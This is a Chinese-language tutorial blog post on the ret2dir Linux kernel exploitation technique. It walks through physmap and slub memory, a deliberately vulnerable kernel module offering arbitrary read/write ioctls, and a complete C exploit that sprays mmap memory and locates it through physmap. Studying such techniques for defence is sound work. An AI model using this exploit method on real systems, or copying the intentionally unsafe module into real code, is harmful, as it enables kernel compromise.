linux kernel pwn 之 ret2dir 学习

 

前言

ret2dir (return-to-direct-mapped memory) 内核中一个十分经典的攻击方式,这里记录一下自己的学习过程,自身水平有限,理解可能有偏差,望指正。

 

原理分析

ret2dir 源于 14 年的一篇论文

网上也有人做了翻译

也不搬砖了,这里主要记录一些基本的原理

下面的分析都是以 linux x86_64 架构为准

linux x86_64 内存布局

首先我们需要直到 linux 的内存布局,x86_64 的内存布局可以在Documentation/x86/x86_64/mm.txt

可以看到 physmap 也就是我们要找的直接映射区域在0xffff888000000000 - 0xffffc87fffffffff 这一段,大小为 64TB

那么这段内存是用来做什么的呢?

首先看它的定义

physmap:内核空间中一个大的,连续的虚拟内存空间它映射了部分或所有(取决于具体架构)的物理内存

也就是说这块地方是物理内存会直接映射到这64TB 里面的某个地方,不同架构映射可能会有所不同

这样要找到物理内存的一个位置,只需要做简单的线性加减就完事了,速度和效率都比较高

在实际的利用之前还需要了解一下linux 内核的内存分配方式,目前linux 内核多使用 伙伴系统 + slub 分配器 来做内存分配,这里不再赘述。可以参考这篇文章,讲的十分详细。

linux 内核内存分配主要有 kmalloc 和 vmalloc 两种方式

vmalloc 请求 页的倍数大小的内存,要保证虚拟地址连续,物理地址不需要连续

kmalloc 内存在字节级做分配,要保证 虚拟地址和物理地址都是连续的

kmalloc 也就是我们的slub分配器使用的方式,也是内核用到更多的方式

很容易想到slub分配器可以在physmap上做内存分配操作,例如要分配 0x200 大小的内存,那么就会找kmalloc-512 ,最后这块内存是在physmap 里面的(有木有分配在 physmap外面的情况不是十分清楚,以后有时间再做分析,有大佬知道望告知 = =)

利用方式

通过上面的描述我们可以知道

  • physmap 和 ram 是直接的映射关系
  • 可以通过 slub 分配的内存地址找到 physmap 的位置

那么要怎么样利用呢?

ret2dir 主要是用来绕过内核 smep, smap 的限制

加上了 smep,smap 保护之后,内核态不能直接执行用户态的代码

但是用户态分配的内存,也会停留在 ram 中,这块内存在 physmap中是可以看到的,可以通过mmap分配大量的内存,这样找到的概率就会比较大

早期physmap是可执行的,于是可以在用户态写好shellcode, 然后劫持内核之后跳到 physmap 对应的位置就完事了,不用去管smep,smap

后面加上了一些保护策略(W^X w 和 x 不能同时存在等) ,physmap 不可执行,但是仍然可以通过 rop 之类的方式进行利用

okay, 总结一下利用过程

  • 1 mmap 大量的内存(rop chains 等),提高命中的概率
  • 2 泄露出 slab 的地址,计算出 physmap的地址
  • 3 劫持内核执行流到 physmap 上

 

Case study – 写个模块测试下

okay 基本原理知道了,就是可以在内核地址找到=一块用户态可以控制的内存

接下来实际操作一下,我们先写一个简单的模块

使用了5.0 版本的内核,可以从下面链接下载

内核 linux-5.0.tar.xz

下载完成之后执行下面命令即可,文件系统随便找个ctf题目拿来用就是

make defconfig
make -j8

内核模块编写

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/cdev.h>
#include <linux/fs.h>
#include <linux/string.h>
#include <linux/uaccess.h>
#include<linux/slab.h>
#include <linux/miscdevice.h>
#include <linux/delay.h>

MODULE_LICENSE("Dual BSD/GPL");
#define READ_ANY  0x1337
#define WRITE_ANY 0xdead
#define ADD_ANY   0xbeef
#define DEL_ANY   0x2333

struct in_args{
    uint64_t addr;
    uint64_t size;
    char __user *buf;
};


static long read_any(struct in_args *args){
    long ret = 0;
    char *addr = (void *)args->addr;
    if(copy_to_user(args->buf,addr,args->size)){
        return -EINVAL;
    }
    return ret;
}
static long write_any(struct in_args *args){
    long ret = 0;
    char *addr = (void *)args->addr;
    if(copy_from_user(addr,args->buf,args->size)){
        return -EINVAL;
    }
    return ret;
}
static long add_any(struct in_args *args){
    long ret = 0;
    char *buffer = kmalloc(args->size,GFP_KERNEL);
    if(buffer == NULL){
        return -ENOMEM;
    }
    if(copy_to_user(args->buf,(void *)buffer,0x8)){
        return -EINVAL;
    }
    return ret;
}
static long del_any(struct in_args *args){
    long ret = 0;
    kfree((void *)args->addr);
    return ret;
}
static long kpwn_ioctl(struct file *file, unsigned int cmd, unsigned long arg){
    long ret = -EINVAL;
    struct in_args in;
    if(copy_from_user(&in,(void *)arg,sizeof(in))){
        return ret;
    }
    switch(cmd){
        case READ_ANY:
            ret = read_any(&in);
            break;
        case WRITE_ANY:
            ret = write_any(&in);
            break;
        case DEL_ANY:
            ret = del_any(&in);
            break;
        case ADD_ANY:
            ret = add_any(&in);
            break;
        default:
            ret = -1;
    }
    return ret;
}
static struct file_operations fops = {
    .owner = THIS_MODULE,
    .open =      NULL,
    .release =   NULL,
    .read =      NULL,
    .write =     NULL,
    .unlocked_ioctl = kpwn_ioctl
};

static struct miscdevice misc = {
    .minor = MISC_DYNAMIC_MINOR,
    .name  = "kpwn",
    .fops = &fops
};

int kpwn_init(void)
{
    misc_register(&misc);
    return 0;
}

void kpwn_exit(void)
{
    printk(KERN_INFO "Goodbye hackern");
    misc_deregister(&misc);
}
module_init(kpwn_init);
module_exit(kpwn_exit);

实现了四个功能

  • add_any kmalloc 任意 size,返回地址
  • del_any 传入 addr, kfree 掉
  • read_any 传入 addr 任意地址读
  • write_any 传入 addr 任意地址写

利用测试

利用主要分成下面几步

  • 1 mmap 喷大量的内存
  • 2 physmap 中找出用户态 mmap 的内存的对应地址 A
  • 3 尝试改写 physmap 中地址 A 的内容,在用户态查看是否有变化

mmap 内存

qemu-system-x86_64 -m 128M 
    -nographic -kernel $bzImage_dir 
    -append 'root=/dev/ram rw console=ttyS0 loglevel=3 oops=panic panic=1 nokaslr' 
    -monitor /dev/null -initrd $cpio_dir 
    -cpu kvm64,+smep,+smap  -s 2>/dev/null

qemu 这里给了 128M 的内存,mmap 喷内存的代码如下, mmap 出 64M的内存,这样命中率就会比较大, mmap 内存都初始化为 字符K, 参考exp

// 64M
#define spray_times 32*32
#define mp_size 1024*64
void *spray[spray_times];
void heap_srapy(){
    void *mp;
    for(int i=0;i<spray_times;i++){
        if((mp=mmap(NULL,mp_size,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0))==MAP_FAILED){
            logs("error","heap spray");
            exit(0);
        }
        memset(mp,'K',mp_size);
        spray[i]=mp;
    }
}

找 physmap 对应地址

为了找出 physmap 中对应的地址,这里先add_any(fd,0x200,buf);找出 slab 的地址,然后在上面做爆破,一个页一个页的读取,知道找出有KKKKKKKKKKKKKKKK这个子串的内存

 char *target = "KKKKKKKKKKKKKKKK";
 ...
    u64 addr = slab_addr;
    u64 pos=0;

    u64 addr_to_change=0;
    for(;addr < 0xffffc80000000000;addr+=0x1000){
        memset(buf,0,0x1000);
        read_any(fd,addr,buf,0x1000);
        pos = (u64) memmem(buf,0x1000,target,0x10);
        if(pos){
....
        }
    }

改写尝试

找到了可能的 physmap 地址之后, 接着调用 write_any 写这个地址
看看用户态对应的内存有没有被改变,如果随着改变了,说明两者已经对应上了

        if(pos){
            addr_to_change = addr + pos - (u64)buf;
            loglx("physmap hit addr",addr);
            loglx("addr to change",addr_to_change);
            write_any(fd,addr_to_change,dirty,0x100);
            u64 *p = check();
            if(p!=NULL){
                logs("userspace","already change");
                break;
            }
        }

完整 exp

完整的exp 如下

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <string.h>
#include <sys/mman.h>
#include <signal.h>
typedef uint32_t u32;
typedef int32_t s32;
typedef uint64_t u64;
typedef int64_t s64;

void x64dump(char *buf,uint32_t num){
    uint64_t *buf64 =  (uint64_t *)buf;
    printf("[-x64dump-] start : n");
    for(int i=0;i<num;i++){
        if(i%2==0 && i!=0){
            printf("n");
        }
        printf("0x%016lx ",*(buf64+i));
    }
    printf("n[-x64dump-] end ... n");
}
void loge(char *buf){
    printf("[err] : %sn",buf);
    exit(EXIT_FAILURE);
}
void logs(char *tag,char *buf){
    printf("[ s]: ");
    printf(" %s ",tag);
    printf(": %sn",buf);
}
void logx(char *tag,uint32_t num){
    printf("[ x] ");
    printf(" %-20s ",tag);
    printf(": %-#8xn",num);
}
void loglx(char *tag,uint64_t num){
    printf("[lx] ");
    printf(" %-20s ",tag);
    printf(": %-#16lxn",num);
}
void bp(char *tag){
    printf("[bp] : %sn",tag);
    getchar();
}


#define READ_ANY  0x1337 
#define WRITE_ANY 0xdead 
#define ADD_ANY   0xbeef 
#define DEL_ANY   0x2333 

struct in_args{        
    uint64_t addr;     
    uint64_t size;     
    char *buf;  
};                     

void add_any(int fd,u64 size,char *buf){
    struct in_args in;
    in.buf=buf;
    in.size=size;
    long res = ioctl(fd,ADD_ANY,&in);
}
void read_any(int fd,u64 addr,char *buf,u64 size){
    struct in_args in;
    in.addr = addr;
    in.buf=buf;
    in.size=size;
    long res = ioctl(fd,READ_ANY,&in);
}
void write_any(int fd,u64 addr,char *buf,u64 size){
    struct in_args in;
    in.addr = addr;
    in.buf=buf;
    in.size=size;
    long res = ioctl(fd,WRITE_ANY,&in);
}
void del_any(int fd,u64 addr){
    struct in_args in;
    in.addr = addr;
    long res = ioctl(fd,DEL_ANY,&in);
}

#define spray_times 32*32
#define mp_size 1024*64
void *spray[spray_times];
void heap_srapy(){
    void *mp;
    for(int i=0;i<spray_times;i++){
        if((mp=mmap(NULL,mp_size,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0))==MAP_FAILED){
            logs("error","heap spray");
            exit(0);
        }
        memset(mp,'K',mp_size);
        spray[i]=mp;
    }
}

u64 *check(){
    int i=0;
    for(i=0;i<spray_times;i++){
        u64 *p = spray[i];
        int j=0;
        while(j<mp_size/8){
            if(p[j]!=0x4b4b4b4b4b4b4b4b){
                loglx("check change",(u64)&p[j]);
                /*x64dump((void *)&p[j],0x20);*/
                return &p[j];
            }
            j+=0x1000/8;
        }
    }
    return NULL;

}
int main(int argc,char **argv){

    int fd = open("/dev/kpwn",O_RDONLY);
    logx("fd",fd);
    char *target = "KKKKKKKKKKKKKKKK";
    char *buf = malloc(0x1000);
    char *dirty = malloc(0x100);
    memset(dirty,'A',0x100);
    u64 *buf64 = (u64 *)buf;


    add_any(fd,0x200,buf);
    /*x64dump(buf,0x2);*/

    heap_srapy();

    u64 slab_addr = buf64[0];
    slab_addr = slab_addr & 0xffffffffff000000;
    loglx("slab_addr",slab_addr);

    u64 addr = slab_addr;
    u64 pos=0;

    u64 addr_to_change=0;
    for(;addr < 0xffffc80000000000;addr+=0x1000){
        memset(buf,0,0x1000);
        read_any(fd,addr,buf,0x1000);
        pos = (u64) memmem(buf,0x1000,target,0x10);
        if(pos){
            addr_to_change = addr + pos - (u64)buf;
            loglx("physmap hit addr",addr);
            loglx("addr to change",addr_to_change);
            write_any(fd,addr_to_change,dirty,0x20);
            u64 *p = check();
            if(p!=NULL){
                logs("userspace","already change");
                x64dump((char *)p,0x10);
                break;
            }
        }
    }

    bp("wait");
    return 0;
}

实际运行的效果如下

可以看到大部分的内存都喷满了 KKK....

 

reference

https://www.cnblogs.com/0xJDchen/p/6143102.html
https://github.com/De1ta-team/De1CTF2019/blob/master/writeup/pwn/Race/exp.c

(完)